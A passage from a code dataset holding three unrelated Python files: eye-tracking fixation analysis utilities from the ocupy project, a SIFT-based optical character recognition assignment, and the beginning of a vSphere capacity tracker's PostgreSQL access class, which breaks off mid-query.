\n self.x[idx].astype('int')]\n # setattr(self, feature, feat_vals)\n self.add_field(feature, feat_vals)\n\n def make_reg_data(self, feature_list=None, all_controls=False): \n \"\"\" \n Generates two M x N matrices with M feature values at fixations for \n N features. Controls are a random sample out of all non-fixated regions \n of an image or fixations of the same subject group on a randomly chosen \n image. Fixations are pooled over all subjects in the calling fixmat.\n \n Parameters : \n all_controls : bool\n if True, all non-fixated points on a feature map are takes as\n control values. If False, controls are fixations from the same\n subjects but on one other randomly chosen image of the same\n category\n feature_list : list of strings\n contains names of all features that are used to generate\n the feature value matrix (--> number of dimensions in the \n model). \n ...note: this list has to be sorted !\n\n Returns : \n N x M matrix of N control feature values per feature (M).\n Rows = Feature number /type\n Columns = Feature values\n \"\"\"\n if not 'x' in self.fieldnames():\n raise RuntimeError(\"\"\"make_reg_data expects to find\n (x,y) locations in self.x and self.y. But self.x does not exist\"\"\")\n\n on_image = (self.x >= 0) & (self.x <= self.image_size[1])\n on_image = on_image & (self.y >= 0) & (self.y <= self.image_size[0])\n assert on_image.all(), \"All Fixations need to be on the image\"\n assert len(np.unique(self.filenumber) > 1), \"Fixmat has to have more than one filenumber\"\n self.x = self.x.astype(int)\n self.y = self.y.astype(int)\n \n if feature_list == None:\n feature_list = np.sort(self._categories._features)\n all_act = np.zeros((len(feature_list), 1)) * np.nan\n all_ctrls = all_act.copy()\n \n for (cfm, imgs) in self.by_cat():\n # make a list of all filenumbers in this category and then \n # choose one random filenumber without replacement\n imfiles = np.array(imgs.images()) # array makes a copy of the list\n ctrl_imgs = imfiles.copy()\n np.random.shuffle(ctrl_imgs)\n while (imfiles == ctrl_imgs).any():\n np.random.shuffle(ctrl_imgs)\n for (imidx, img) in enumerate(imfiles):\n xact = cfm.x[cfm.filenumber == img]\n yact = cfm.y[cfm.filenumber == img]\n if all_controls:\n # take a sample the same length as the actuals out of every \n # non-fixated point in the feature map\n idx = np.ones(self.image_size)\n idx[cfm.y[cfm.filenumber == img], \n cfm.x[cfm.filenumber == img]] = 0\n yctrl, xctrl = idx.nonzero()\n idx = np.random.randint(0, len(yctrl), len(xact))\n yctrl = yctrl[idx]\n xctrl = xctrl[idx]\n del idx\n else:\n xctrl = cfm.x[cfm.filenumber == ctrl_imgs[imidx]]\n yctrl = cfm.y[cfm.filenumber == ctrl_imgs[imidx]]\n # initialize arrays for this filenumber\n actuals = np.zeros((1, len(xact))) * np.nan\n controls = np.zeros((1, len(xctrl))) * np.nan \n \n for feature in feature_list:\n # get the feature map\n fmap = imgs[img][feature]\n actuals = np.vstack((actuals, fmap[yact, xact]))\n controls = np.vstack((controls, fmap[yctrl, xctrl]))\n all_act = np.hstack((all_act, actuals[1:, :]))\n all_ctrls = np.hstack((all_ctrls, controls[1:, :]))\n return (all_act[:, 1:], all_ctrls[:, 1:]) # first column was dummy \n\ndef load(path):\n \"\"\"\n Load fixmat at path.\n \n Parameters:\n path : string\n Absolute path of the file to load from.\n \"\"\"\n f = h5py.File(path,'r')\n if 'Fixmat' in f:\n fm_group = f['Fixmat']\n else:\n fm_group = f['Datamat']\n fields = {}\n params = {}\n for field, value in list(fm_group.items()):\n fields[field] = np.array(value)\n for param, value in list(fm_group.attrs.items()):\n params[param] = value\n f.close()\n return VectorFixmatFactory(fields, params)\n\n\ndef compute_fdm(fixmat, fwhm=2, scale_factor=1):\n \"\"\"\n Computes a fixation density map for the calling fixmat. \n \n Creates a map the size of the image fixations were recorded on. \n Every pixel contains the frequency of fixations\n for this image. The fixation map is smoothed by convolution with a\n Gaussian kernel to approximate the area with highest processing\n (usually 2 deg. visual angle).\n\n Note: The function does not check whether the fixmat contains\n fixations from different images as it might be desirable to compute\n fdms over fixations from more than one image.\n\n Parameters:\n fwhm : float \n the full width at half maximum of the Gaussian kernel used\n for convolution of the fixation frequency map.\n\n scale_factor : float\n scale factor for the resulting fdm. Default is 1. Scale_factor\n must be a float specifying the fraction of the current size.\n \n Returns:\n fdm : numpy.array \n a numpy.array of size fixmat.image_size containing\n the fixation probability for every location on the image.\n \"\"\"\n # image category must exist (>-1) and image_size must be non-empty\n assert (len(fixmat.image_size) == 2 and (fixmat.image_size[0] > 0) and\n (fixmat.image_size[1] > 0)), 'The image_size is either 0, or not 2D'\n # check whether fixmat contains fixations\n if fixmat._num_fix == 0 or len(fixmat.x) == 0 or len(fixmat.y) == 0 :\n raise RuntimeError('There are no fixations in the fixmat.')\n assert not scale_factor <= 0, \"scale_factor has to be > 0\"\n # this specifies left edges of the histogram bins, i.e. fixations between\n # ]0 binedge[0]] are included. --> fixations are ceiled\n e_y = np.arange(0, np.round(scale_factor*fixmat.image_size[0]+1))\n e_x = np.arange(0, np.round(scale_factor*fixmat.image_size[1]+1))\n samples = np.array(list(zip((scale_factor*fixmat.y), (scale_factor*fixmat.x))))\n (hist, _) = np.histogramdd(samples, (e_y, e_x))\n kernel_sigma = fwhm * fixmat.pixels_per_degree * scale_factor\n kernel_sigma = kernel_sigma / (2 * (2 * np.log(2)) ** .5)\n fdm = gaussian_filter(hist, kernel_sigma, order=0, mode='constant')\n return fdm / fdm.sum()\n\ndef relative_bias(fm, scale_factor = 1, estimator = None):\n \"\"\"\n Computes the relative bias, i.e. the distribution of saccade angles \n and amplitudes. \n\n Parameters:\n fm : DataMat\n The fixation data to use\n scale_factor : double\n Returns:\n 2D probability distribution of saccade angles and amplitudes.\n \"\"\"\n assert 'fix' in fm.fieldnames(), \"Can not work without fixation numbers\"\n excl = fm.fix - np.roll(fm.fix, 1) != 1\n\n # Now calculate the direction where the NEXT fixation goes to\n diff_x = (np.roll(fm.x, 1) - fm.x)[~excl]\n diff_y = (np.roll(fm.y, 1) - fm.y)[~excl]\n \n\n # Make a histogram of diff values\n # this specifies left edges of the histogram bins, i.e. fixations between\n # ]0 binedge[0]] are included. --> fixations are ceiled\n ylim = np.round(scale_factor * fm.image_size[0])\n xlim = np.round(scale_factor * fm.image_size[1])\n x_steps = np.ceil(2*xlim) +1\n if x_steps % 2 != 0: x_steps+=1\n y_steps = np.ceil(2*ylim)+1\n if y_steps % 2 != 0: y_steps+=1\n e_x = np.linspace(-xlim,xlim,x_steps)\n e_y = np.linspace(-ylim,ylim,y_steps)\n\n #e_y = np.arange(-ylim, ylim+1)\n #e_x = np.arange(-xlim, xlim+1)\n samples = np.array(list(zip((scale_factor * diff_y),\n (scale_factor* diff_x))))\n if estimator == None:\n (hist, _) = np.histogramdd(samples, (e_y, e_x))\n else:\n hist = estimator(samples, e_y, e_x)\n return hist\n \n \ndef DirectoryFixmatFactory(directory, categories = None, glob_str = '*.mat', var_name = 'fixmat'):\n \"\"\"\n Concatenates all fixmats in dir and returns the resulting single\n fixmat.\n \n Parameters:\n directory : string\n Path from which the fixmats should be loaded\n categories : instance of stimuli.Categories, optional\n If given, the resulting fixmat provides direct access\n to the data in the categories object.\n glob_str : string\n A regular expression that defines which mat files are picked up.\n var_name : string\n The variable to load from the mat file.\n Returns:\n f_all : instance of FixMat\n Contains all fixmats that were found in given directory\n \n \"\"\"\n files = glob(join(directory,glob_str))\n if len(files) == 0:\n raise ValueError(\"Could not find any fixmats in \" + \n join(directory, glob_str))\n f_all = FixmatFactory(files.pop(), categories, var_name)\n for fname in files:\n f_current = FixmatFactory(fname, categories, var_name)\n f_all.join(f_current)\n return f_all\n\n\ndef FixmatFactory(fixmatfile, categories = None, var_name = 'fixmat', field_name='x'):\n \"\"\"\n Loads a single fixmat (fixmatfile).\n \n Parameters:\n fixmatfile : string\n The matlab fixmat that should be loaded.\n categories : instance of stimuli.Categories, optional\n Links data in categories to data in fixmat.\n \"\"\"\n try:\n data = loadmat(fixmatfile, struct_as_record = False)\n keys = list(data.keys())\n data = data[var_name][0][0]\n except KeyError:\n raise RuntimeError('%s is not a field of the matlab structure. Possible'+\n 'Keys are %s'%str(keys))\n \n num_fix = data.__getattribute__(field_name).size\n\n # Get a list with fieldnames and a list with parameters\n fields = {}\n parameters = {}\n for field in data._fieldnames:\n if data.__getattribute__(field).size == num_fix:\n fields[field] = data.__getattribute__(field)\n else: \n parameters[field] = data.__getattribute__(field)[0].tolist()\n if len(parameters[field]) == 1:\n parameters[field] = parameters[field][0]\n \n # Generate FixMat\n fixmat = FixMat(categories = categories)\n fixmat._fields = list(fields.keys())\n for (field, value) in list(fields.items()):\n fixmat.__dict__[field] = value.reshape(-1,) \n\n fixmat._parameters = parameters\n fixmat._subjects = None\n for (field, value) in list(parameters.items()):\n fixmat.__dict__[field] = value\n fixmat._num_fix = num_fix\n return fixmat\n \ndef TestFixmatFactory(points = None, categories = [1], \n filenumbers = [1], subjectindices = [1], params = None,\n categories_obj = None):\n \"\"\" \n Returns a fixmat where the content is known. \n\n Parameters:\n points : list, optional\n This list contains coordinates of fixations. I.e. list[0] contains x \n and list[1] contains y. If omitted, the line that connects (0,0) \n and (922,922) is used.\n category : list, default = [1]\n Category numbers to be used for the fixations. All fixations are\n repeated for every category.\n subjectindices : list, default = [1]\n Subjectindices to be used for the fixations. Every subjectindex will show\n up for every category in the test fixmat. \n params : dictionary, optional\n A list of parameters that is set for the resulting fixmat. Defaults \n are 'image_size':[922,1272] and 'pxels_per_degree':36\n\n \"\"\"\n default_parameters = {'image_size':[922, 1272], 'pixels_per_degree':36}\n fixmat = FixMat(categories=categories_obj)\n fixmat.x = [] \n fixmat.y = []\n fixmat.SUBJECTINDEX = []\n fixmat.filenumber = []\n fixmat.category = []\n fixmat.fix = [] \n if not params is None:\n default_parameters.update(params)\n if points == None:\n points = [[ x for x in range(1, default_parameters['image_size'][0])],\n [ x for x in range(1, default_parameters['image_size'][0])]]\n for cat in categories:\n for sub in subjectindices:\n for img in filenumbers:\n fixmat.x = np.hstack((fixmat.x, np.array(points[0])))\n fixmat.y = np.hstack((fixmat.y, np.array(points[1])))\n fixmat.SUBJECTINDEX = np.hstack((fixmat.SUBJECTINDEX, sub *\n np.ones(len(points[0]))))\n fixmat.category = np.hstack((fixmat.category, cat *\n np.ones(len(points[0]))))\n fixmat.filenumber = np.hstack((fixmat.filenumber, img *\n np.ones(len(points[0]))))\n fixmat.fix = np.hstack((fixmat.fix, list(range(0,len(points[0])))))\n \n\n fixmat._fields = ['x', 'y', 'SUBJECTINDEX', 'filenumber', 'category', 'fix']\n fixmat._parameters = default_parameters\n for (field, value) in list(default_parameters.items()):\n fixmat.__dict__[field] = value\n fixmat._num_fix = len(fixmat.x)\n return fixmat\n\ndef VectorFixmatFactory(fields, parameters, categories = None):\n fm = FixMat(categories = categories)\n fm._fields = list(fields.keys())\n for (field, value) in list(fields.items()): \n fm.__dict__[field] = value \n fm._parameters = parameters\n for (field, value) in list(parameters.items()): \n fm.__dict__[field] = value\n fm._num_fix = len(fm.__dict__[list(fields.keys())[0]])\n return fm\n", "repo_name": "nwilming/ocupy", "sub_path": "ocupy/fixmat.py", "file_name": "fixmat.py", "file_ext": "py", "file_size_in_byte": 16347, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 17, "dataset": "github-code", "pt": "78", "api": [{"api_name": "datamat.Datamat", "line_number": 17, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 48, "usage_type": "attribute"}, {"api_name": "numpy.unique", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.sort", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 99, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.random.shuffle", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 107, "usage_type": "attribute"}, {"api_name": "numpy.random.shuffle", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 109, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 120, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 128, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 129, "usage_type": "attribute"}, {"api_name": "numpy.vstack", "line_number": 134, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 135, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 136, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 137, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 148, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 156, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 200, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 200, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 201, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 201, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 202, "usage_type": "call"}, {"api_name": "numpy.histogramdd", "line_number": 203, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 205, "usage_type": "call"}, {"api_name": "scipy.ndimage.filters.gaussian_filter", "line_number": 206, "usage_type": "call"}, {"api_name": "numpy.roll", "line_number": 222, "usage_type": "call"}, {"api_name": "numpy.roll", "line_number": 225, "usage_type": "call"}, {"api_name": "numpy.roll", "line_number": 226, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 232, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 233, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 234, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 236, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 238, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 239, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 243, "usage_type": "call"}, {"api_name": "numpy.histogramdd", "line_number": 246, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 272, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 272, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 275, "usage_type": "call"}, {"api_name": "scipy.io.loadmat", "line_number": 294, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 365, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 365, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 366, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 366, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 367, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 368, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 369, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 370, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 371, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 372, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 373, "usage_type": "call"}]} {"seq_id": "70084183294", "text": "\"\"\"\nCharacter Detection\n\nThe goal of this task is to implement an optical character recognition system consisting of Enrollment, Detection and Recognition sub tasks\n\nPlease complete all the functions that are labelled with '# TODO'. When implementing the functions,\ncomment the lines 'raise NotImplementedError' instead of deleting them.\n\nDo NOT modify the code provided.\nPlease follow the guidelines mentioned in the project1.pdf\nDo NOT import any library (function, module, etc.).\n\"\"\"\n\n\nimport argparse\nimport json\nfrom multiprocessing.dummy import Array\nfrom operator import ne\nimport os\nimport glob\nimport cv2 \nimport numpy as np\nimport csv\n\ndef read_image(img_path, show=False):\n \"\"\"Reads an image into memory as a grayscale array.\n \"\"\"\n img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)\n\n if show:\n show_image(img)\n\n return img\n\ndef show_image(img, delay=1000):\n \"\"\"Shows an image.\n \"\"\"\n cv2.namedWindow('image', cv2.WINDOW_AUTOSIZE)\n cv2.imshow('image', img)\n cv2.waitKey(delay)\n cv2.destroyAllWindows()\n\ndef parse_args():\n parser = argparse.ArgumentParser(description=\"cse 473/573 project 1.\")\n parser.add_argument(\n \"--test_img\", type=str, default=\"./data/test_img.jpg\",\n help=\"path to the image used for character detection (do not change this arg)\")\n parser.add_argument(\n \"--character_folder_path\", type=str, default=\"./data/characters\",\n help=\"path to the characters folder\")\n parser.add_argument(\n \"--result_saving_directory\", dest=\"rs_directory\", type=str, default=\"./\",\n help=\"directory to which results are saved (do not change this arg)\")\n args = parser.parse_args()\n return args\n\ndef ocr(test_img, characters):\n \"\"\"Step 1 : Enroll a set of characters. Also, you may store features in an intermediate file.\n Step 2 : Use connected component labeling to detect various characters in an test_img.\n Step 3 : Taking each of the character detected from previous step,\n and your features for each of the enrolled characters, you are required to a recognition or matching.\n\n Args:\n test_img : image that contains character to be detected.\n characters_list: list of characters along with name for each character.\n\n Returns:\n a nested list, where each element is a dictionary with {\"bbox\" : (x(int), y (int), w (int), h (int)), \"name\" : (string)},\n x: row that the character appears (starts from 0).\n y: column that the character appears (starts from 0).\n w: width of the detected character.\n h: height of the detected character.\n name: name of character provided or \"UNKNOWN\".\n Note : the order of detected characters should follow english text reading pattern, i.e.,\n list should start from top left, then move from left to right. After finishing the first line, go to the next line and continue.\n \n \"\"\"\n\n enrollment(characters)\n\n componentMap = detection(test_img)\n print(\"component map\")\n # print(componentMap)\n result = recognition(test_img,componentMap)\n return result\n\ndef enrollment(characters):\n \"\"\" Args:\n You are free to decide the input arguments.\n Returns:\n You are free to decide the return.\n \"\"\"\n featureMap = {}\n # gray= cv2.cvtColor(characters[1],cv.COLOR_BGR2GRAY)\n # show_image(characters[1][1])\n\n for i in range(0, len(characters)):\n gray = characters[i][1]\n # show_image(gray,2000)\n img = cv2.resize(gray, (250, 250))\n img = np.pad(img, [(2,), (2,)], mode='constant', constant_values=(255))\n sift = cv2.SIFT_create()\n kp, des = sift.detectAndCompute(img, None)\n\n # img=cv2.drawKeypoints(gray,kp,img)\n # show_image(img, 2000)\n # print(des)\n # print(i)\n if (des is not None):\n featureMap[characters[i][0]] = des.tolist()\n with open(\"features2.json\", \"w\") as outputFile:\n json.dump(featureMap, outputFile)\n\n\ndef detection(test_img):\n \"\"\"\n Use connected component labeling to detect various characters in an test_img.\n Args:\n You are free to decide the input arguments.\n Returns:\n You are free to decide the return.\n \"\"\"\n if test_img is None:\n print(\"here\")\n return {}\n testImageM = test_img.shape[0]\n testImageN = test_img.shape[1]\n\n threshold = 180\n newArray = np.zeros((testImageM, testImageN))\n for i in range(testImageM):\n for j in range(testImageN):\n if test_img[i][j] < threshold:\n newArray[i][j] = 1\n else:\n newArray[i][j] = 0\n # show_image(newArray)\n # print(newArray)\n # show_image(newArray)\n # newArray=np.array([[1,0,0,0,0],\n # [0,0,1,1,0],\n # [1,1,1,1,0],\n # [0,0,0,0,0],\n # [0,0,0,0,1]])\n\n level = 2\n labelMap = {}\n # print(newArray)\n x = []\n for i in range(len(newArray)):\n for j in range(len(newArray[i])):\n if newArray[i][j] == 1:\n # labelMap[level]= []\n x = bfs(newArray, i, j, level)\n if (x[2] > 1 and x[3] > 1):\n labelMap[level] = x\n level += 1\n return labelMap\n\n\ndef bfs(image, i, j, seq):\n queue = []\n queue.append([i, j])\n dir = [[1, 0], [0, 1], [1, 1], [0, -1], [-1, 0], [-1, -1], [1, -1], [-1, 1]]\n x = [float('inf'), float('inf'), float('-inf'), float('-inf')]\n while (len(queue) != 0):\n size = len(queue)\n for i in range(size):\n temp = queue.pop()\n for num in range(len(dir)):\n row = dir[num][0] + temp[0]\n col = dir[num][1] + temp[1]\n if (row > 0 and col > 0 and row < len(image) and col < len(image[0])):\n if (image[row][col] != 0 and image[row][col] != seq):\n image[row][col] = seq\n queue.append([row, col])\n x[0] = min(x[0], col)\n x[1] = min(x[1], row)\n x[2] = max(x[2], col)\n x[3] = max(x[3], row)\n\n height = x[3] - x[1]\n width = x[2] - x[0]\n return [x[0], x[1], width, height]\n\n\ndef recognition(img, componentMap):\n \"\"\"\n Args:\n You are free to decide the input arguments.\n Returns:\n You are free to decide the return.\n \"\"\"\n outputResult = []\n newDict = {}\n sift = cv2.SIFT_create()\n with open('features2.json') as inputFile:\n features = json.load(inputFile)\n for label in features:\n if len(features[label]) == 0:\n continue\n des = np.asarray(features[label])\n if des is None:\n continue\n currMin = float('inf')\n for key, value in componentMap.items():\n imageBbox = img[value[1]:value[1] + value[3], value[0]:value[0] + value[2]]\n imageBbox = np.pad(imageBbox, [(4,), (4,)], mode='constant', constant_values=(255))\n imageBbox = cv2.resize(imageBbox, (250, 250))\n kp, des2 = sift.detectAndCompute(imageBbox, None)\n if des2 is None:\n continue\n for i in range(len(des2)):\n for j in range(len(des)):\n ssd = np.sqrt(np.sum(np.square(np.subtract(des2[i], des[j]))))\n currMin = min(currMin, ssd)\n newDict[label] = currMin\n for key, value in componentMap.items():\n imageBbox = img[value[1]:value[1] + value[3], value[0]:value[0] + value[2]]\n imageBbox = np.pad(imageBbox, [(5,), (5,)], mode='constant', constant_values=(255))\n imageBbox = cv2.resize(imageBbox, (250, 250))\n # show_image(imageBbox,1000)\n\n kp, des2 = sift.detectAndCompute(imageBbox, None)\n tempDict = {}\n tempDict[\"bbox\"] = value\n tempDict[\"name\"] = \"Unknown\"\n if des2 is None:\n # outputResult.append(tempDict)\n continue\n flag = False\n for labelNew, desNew in features.items():\n if len(desNew) == 0:\n continue\n desNew = np.asarray(desNew)\n count = 0\n # print(label,len(des))\n for i in range(len(des2)):\n for j in range(len(desNew)):\n ssd = np.sqrt(np.sum(np.square(np.subtract(des2[i], desNew[j]))))\n if ssd < newDict[labelNew] * 2:\n count += 1\n if count >= 2:\n flag = True\n tempDict[\"name\"] = labelNew\n break\n if flag:\n break\n if flag:\n outputResult.append(tempDict)\n else:\n outputResult.append({\n \"bbox\": value,\n \"name\": \"UNKNOWN\"\n })\n return outputResult\n\n\ndef calc_norm(x1, x2):\n# # return np.sum(np.square(np.subtract(x1, x2)))\n return np.sqrt(np.sum((x1 - x2) ** 2))\n\n\n\n \n \n# def calc_norm(x1, x2): \n# # return np.sum(np.square(np.subtract(x1, x2)))\n# return np.sqrt(np.sum((x1 - x2) ** 2))\n\ndef save_results(coordinates, rs_directory):\n \"\"\"\n Donot modify this code\n \"\"\"\n results = coordinates\n with open(os.path.join(rs_directory, 'results2.json'), \"w\") as file:\n json.dump(results, file)\n\n\ndef main():\n args = parse_args()\n \n characters = []\n\n all_character_imgs = glob.glob(args.character_folder_path+ \"/*\")\n \n for each_character in all_character_imgs :\n character_name = \"{}\".format(os.path.split(each_character)[-1].split('.')[0])\n characters.append([character_name, read_image(each_character, show=False)])\n\n test_img = read_image(args.test_img)\n\n results = ocr(test_img, characters)\n\n save_results(results, args.rs_directory)\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "jowher/cvip", "sub_path": "OCR/task1.py", "file_name": "task1.py", "file_ext": "py", "file_size_in_byte": 9874, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "cv2.imread", "line_number": 28, "usage_type": "call"}, {"api_name": "cv2.IMREAD_GRAYSCALE", "line_number": 28, "usage_type": "attribute"}, {"api_name": "cv2.namedWindow", "line_number": 38, "usage_type": "call"}, {"api_name": "cv2.WINDOW_AUTOSIZE", "line_number": 38, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 39, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 40, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 41, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 44, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.pad", "line_number": 101, "usage_type": "call"}, {"api_name": "cv2.SIFT_create", "line_number": 102, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 130, "usage_type": "call"}, {"api_name": "cv2.SIFT_create", "line_number": 196, "usage_type": "call"}, {"api_name": "json.load", "line_number": 198, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 202, "usage_type": "call"}, {"api_name": "numpy.pad", "line_number": 208, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 209, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 215, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 215, "usage_type": "call"}, {"api_name": "numpy.square", "line_number": 215, "usage_type": "call"}, {"api_name": "numpy.subtract", "line_number": 215, "usage_type": "call"}, {"api_name": "numpy.pad", "line_number": 220, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 221, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 235, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 240, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 240, "usage_type": "call"}, {"api_name": "numpy.square", "line_number": 240, "usage_type": "call"}, {"api_name": "numpy.subtract", "line_number": 240, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 261, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 261, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 276, "usage_type": "call"}, {"api_name": "os.path", "line_number": 276, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 277, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 285, "usage_type": "call"}, {"api_name": "os.path.split", "line_number": 288, "usage_type": "call"}, {"api_name": "os.path", "line_number": 288, "usage_type": "attribute"}]} {"seq_id": "15210351435", "text": "\nimport csv\nimport psycopg2\nimport time\nimport random\nfrom datetime import datetime, timedelta\nfrom vspherecapacity.credentials.credstore import Credential\nfrom log.setup import addClassLogger\n\n\n@addClassLogger\nclass CapacitySuper(object):\n\n def write_csv(self, fpath):\n dict_obj = self.convert_to_json()\n with open(fpath, mode='w') as csv_file:\n csv_writer = csv.DictWriter(csv_file, list(dict_obj.keys()))\n csv_writer.writeheader()\n csv_writer.writerow(dict_obj)\n\n csv_file.close()\n\n def convert_to_json(self):\n dict_obj = self.__dict__\n for key in list(dict_obj.keys()):\n if isinstance(dict_obj[key], list):\n for i in dict_obj[key]:\n index = dict_obj[key].index(i)\n dict_obj[key][index] = i.convert_to_json()\n return dict_obj\n\n\n@addClassLogger\nclass DatabaseObject(object):\n\n def __init__(self, columns, sql_data):\n for column in columns:\n setattr(self, column.strip(), sql_data[columns.index(column)])\n\n\n@addClassLogger\nclass DatabaseAccess(object):\n\n def __init__(self, host, db, user, password=None):\n self.host = host\n self.database = db\n self.credential = Credential(username=user, password=password)\n self.connection = psycopg2.connect(host=self.host,\n database=self.database,\n user=self.credential.username,\n password=self.credential.retrieve_password(),\n )\n self.cursor = self.connection.cursor()\n\n def initialize_cursor(self):\n self.cursor.close()\n self.cursor = self.connection.cursor()\n\n def dispose(self):\n self.cursor.close()\n self.connection.close()\n\n def get_dbo(self, model, obj, select_columns='*', where_param='_mo_id'):\n if not select_columns == '*':\n sql_qry = \"SELECT id,{} FROM {} WHERE {}.{}=%s ;\".format(select_columns, model, model, where_param)\n else:\n sql_qry = \"SELECT {} FROM {} WHERE {}.{}=%s ;\".format(select_columns, model, model, where_param)\n self.cursor.execute(sql_qry, (obj[where_param],))\n return self.cursor.fetchall()\n\n def update_or_create_dbo(self, obj, model, columns=None, where_param='_mo_id', skip_date=False):\n values = tuple(obj.values())\n value_interop = ('%s,' * len(values)).rstrip(',')\n\n if not columns:\n columns = tuple(obj.keys())\n if len(columns) == 1:\n column_interop = columns[0]\n elif len(columns) > 1:\n column_interop = ', '.join(columns)\n\n if columns and not len(columns) == len(values):\n raise ValueError(\n \"Invalid value for parameter 'columns'. Number of items in columns must match values\"\n )\n\n existing_dbo = self.get_dbo(model=model,\n obj=obj,\n where_param=where_param)\n\n sql_qry = ''\n if existing_dbo:\n if not skip_date:\n column_interop += \", date_modified, decommission, decommission_date\"\n value_interop += \", %s, %s, %s\"\n obj.update({\n 'date_modified': datetime.now(), # Todo: This is production: uncomment, remove next line\n # 'date_modified': datetime.now() - timedelta(days=random.randint(0, 10), ), # Todo: dev code only\n 'decommission': False,\n 'decommission_date': None})\n values = list(obj.values())\n values.append(obj[where_param])\n sql_qry = \"UPDATE {} SET ({}) = ({}) WHERE {}.{}=%s;\".format(model,\n column_interop,\n value_interop,\n model,\n where_param\n )\n elif not existing_dbo:\n if not skip_date:\n column_interop += \", date_created, date_modified, decommission\"\n value_interop += \", %s, %s, %s\"\n obj.update({\n 'date_created': datetime.now(),\n 'date_modified': datetime.now(), # Todo: This is production uncomment, remove next line\n # 'date_modified': datetime.now() - timedelta(days=random.randint(0, 10),), # Todo: dev code only\n 'decommission': False\n })\n values = tuple(obj.values())\n sql_qry = \"INSERT INTO {} ({}) VALUES({}) ;\".format(model,\n column_interop,\n value_interop)\n self.cursor.execute(sql_qry, tuple(values))\n self.connection.commit()\n\n def decommission_dbo(self, obj, model, where_param='id'):\n values = tuple(obj.values())\n value_interop = ('%s,' * len(values)).rstrip(',')\n\n columns = tuple(obj.keys())\n column_interop = ', '.join(columns)\n\n if columns and not len(columns) == len(values):\n raise ValueError(\n \"Invalid value for parameter 'columns'. Number of items in columns must match values\"\n )\n values = list(values)\n values.append(obj[where_param])\n values = tuple(values)\n\n sql_qry = \"UPDATE {} SET ({}) = ({}) WHERE {}.{}=%s;\".format(model,\n column_interop,\n value_interop,\n model,\n where_param\n )\n\n self.cursor.execute(sql_qry, tuple(values))\n self.connection.commit()\n\n def update_decommissions(self, days_missing_before_decomm=3):\n decom_point = datetime.now()\n sql_qry_tables = \"SELECT table_name from information_schema.tables where 